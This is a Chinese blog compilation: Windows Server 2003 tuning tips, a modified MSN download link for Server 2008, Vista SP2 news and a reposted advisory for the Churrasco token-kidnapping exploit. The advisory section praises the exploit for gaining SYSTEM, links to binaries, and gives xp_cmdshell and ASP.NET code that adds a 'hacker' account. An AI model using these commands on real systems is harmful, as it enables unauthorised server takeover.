windows server 2003优化设置方法

　　1，管理＞工具＞服务　Themes 设为auto
　　
　　2，打开 DirectX 的 D3D 硬件加速：
　　看桌面属性，设置 -> 高级 -> 疑难问答 -> 硬件加速 -> 完全。运行 dxdiag.exe，打开Display选项卡，可看到 3 项全部启用了。最后，利用Windows updates在Windows Server 2003中安装DirectX 9.0a。
　　
　　3. 启用声卡：
　　系统安装后，声卡是禁止状态，所以要在 控制面板 -> 声音 -> 启用，重启之后再设置它在任务栏显示。
　　现在我们还要启用音频加速。在运行中输入Services.msc然后按回车，会出现Services 窗口，找到Windows Audio服务，双击打开，把启动类型设置为Automatic，点击Apply，然后点击Start启动该服务。
　　最后我们还要使用DirectX诊断工具，在运行中输入dxdiag并回车，打开Sound选项卡，把Hardware Sound Acceleration Level的滑块拖动到Full。
　　
　　4. 如何启用 ASP 支持：
　　Windows Server 2003 默认安装，是不安装 IIS 6 的，需要另外安装。安装完 IIS 6，还需要单独开启对于 ASP 的支持。方法是：
　　控制面板 -> 管理工具 -> Web服务扩展 -> Active Server Pages -> 允许。
　　
　　5. 如何启用 XP 的主题：
　　首先我们需要回到服务设置对话框启用Themes服务，在运行中输入Services.msc并按回车，找到并双击Themes这个服务，设置启动类型为Automatic，点击Apply后点Start打开这个服务。
　　
　　6. 禁止关机时出现的关机理由选择项：
　　开始 -> 运行 -> gpedit.msc -> Computer configuration -> Administrative Templates ->
　　System -> Display shutdown event tracker -> 设置为 Disable。
　　如果是中文版，则：gpedit.msc，计算机配置 -> 管理模板 -> 系统 -> 显示关机事件跟踪 -> 禁用。
　　
　　7. 如何启用摄像机，摄像头或者扫描仪等设备：
　　在运行中输入Services.msc并回车，找到并双击Windows Image Acquisition (WIA) 服务，设置启动类型为Automatic点击Apply后点击Start然后点击OK。
　　
　　8. 在控制面板里显示全部组件：
　　把 Windows\inf 目录中的 sysoc.inf 文件里的 "hide" 替换掉。
　　
　　9. 禁用开机 CTRL+ALT+DEL：
　　管理工具 -> Local Security Settings（本地安全策略） -> 本地策略 -> 安全选项 -> interactive logon: Do not require CTRL+ALT+DEL，禁用之。慎用！搞不好会进不去系统。
　　注意：为系统安全起见，一开始设置时管理员的密码就不要留空。
　　
　　10. 可用的杀毒软件和防火墙：
　　Symantec Norton Antivirus Corporate 8.01
　　Zone Alarm 3.7.159
　　Norton Personal Firewall 2003

Windows Server 2008下可用的MSN下载

这两天刚换了Server 2008，用起来感觉还不错，就是开机慢一些，以前就听说比2003好的不只是Vista与XP的差距，装好一切驱动之后想试试MSN，早知道MS的搞笑，自己做的系统连自己的软件都不让用，也可能是不想admin用服务器聊天吧，可怜美女导师只用MSN，实在不能用的话只能换回03了，找了N久终于找到个好用的，
链接：http://www.namipan.com/d/MSN%208.5.1288.816%e7%be%8e%e8%8f%b1%e7%89%88.rar/02cd75eb74bfdeae9cdf5a25f5841f7d6d4572346ebb9e00

MS Windows 2003 Exploit

提权很好用，直接system。文章末尾贴个TR那里的测试图。
编译好的：http://www.blogjava.net/Files/baicker/Churrasco.rar （via 009）

From：http://nomoreroot.blogspot.com/2008/10/windows-2003-poc-exploit-for-token.html

It has been a long time since Token Kidnapping presentation (http://www.argeniss.com/research/TokenKidnapping.pdf)
was published so I decided to release a PoC exploit for Win2k3 that alows to execute code under SYSTEM account.

Basically if you can run code under any service in Win2k3 then you can own Windows, this is because Windows
services accounts can impersonate. Other process (not services) that can impersonate are IIS 6 worker processes
so if you can run code from an ASP .NET or classic ASP web application then you can own Windows too. If you provide
shared hosting services then I would recomend to not allow users to run this kind of code from ASP.

-SQL Server is a nice target for the exploit if you are a DBA and want to own Windows:

exec xp_cmdshell 'churrasco "net user /add hacker"'

-Exploiting IIS 6 with ASP .NET :
...
System.Diagnostics.Process myP = new System.Diagnostics.Process();
myP.StartInfo.RedirectStandardOutput = true;
myP.StartInfo.FileName=Server.MapPath("churrasco.exe");
myP.StartInfo.UseShellExecute = false;
myP.StartInfo.Arguments= " \"net user /add hacker\" ";
myP.Start();
string output = myP.StandardOutput.ReadToEnd();
Response.Write(output);
...

You can find the PoC exploit here http://www.argeniss.com/research/Churrasco.zip

backup link: http://milw0rm.com/sploits/2008-Churrasco.zip

Enjoy.

Cesar.

# milw0rm.com [2008-10-08]

Windows Vista SP2 即将到来?

虽然微软最近越来越将焦点聚焦在Windows 7上，但仍有人还在关注Vista这个可谓是"失败"的作品。Service Pack 2 (SP2) 升级包已经出现在一些私人的服务器上，根据Neowin.net的报道，相关的受邀请人士已经可以从这些网站进行下载。

微软对于这个新的SP2升级包并没有什么太多的申明。据相关人士透露，这个版本的升级包改进了系统内部的搜索（Windows Search），升级到了第4版。其他的改进诸如Bluetooth（蓝牙）支持2.1版本、添加对64位的VIA处理器的支持、以及系统与一些应用程序的兼容问题。

有关消息表明，BETA版本的SP2将有可能在未来的4周内发布，因为最近的传闻说明Windows 7的BETA版本将会在12月中旬发布，其正式版有可能于2009年的第二季度发行。

预计SP2将不会在明年之前发布，因而SP2的秘密出现对于大众来说并没有什么影响。大家都很清楚，如果微软没有"放鸽子"的话，SP2将有可能和Windows 7一同出现，到时候会有一个什么样的反应只能让时间来做评判了。